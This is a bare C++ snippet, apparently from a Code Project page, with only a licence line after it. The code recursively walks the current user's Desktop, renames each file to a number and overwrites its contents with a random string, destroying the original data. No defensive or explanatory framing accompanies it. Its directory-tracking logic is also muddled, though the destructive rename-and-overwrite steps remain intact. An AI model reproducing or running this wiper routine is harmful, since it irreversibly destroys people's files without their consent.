srand(time(0)); string dirPath = "C:\\Users\\" + username() + "\\Desktop"; auto path = fs::path(dirPath); auto dir = fs::recursive_directory_iterator(path); filesystem::path currPath = path; int fileName = rand() % 1920; for (auto& block : dir) { auto innerPaths = vector<fs::path>(); innerPaths.push_back(currPath); auto currentDepthSize = dir.depth(); if (currentDepthSize != dir.depth()) { currentDepthSize = dir.depth(); currPath = innerPaths[currentDepthSize]; } if (block.is_directory()) { currentDepthSize = dir.depth(); currPath = dir->path(); innerPaths.push_back(currPath); } else { string filedata = (currPath.string() + "\\" + to_string(fileName)); fs::rename(block.path(), filedata); fileName++; fstream file_data(filedata); file_data << randomString(); file_data.close(); } }
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)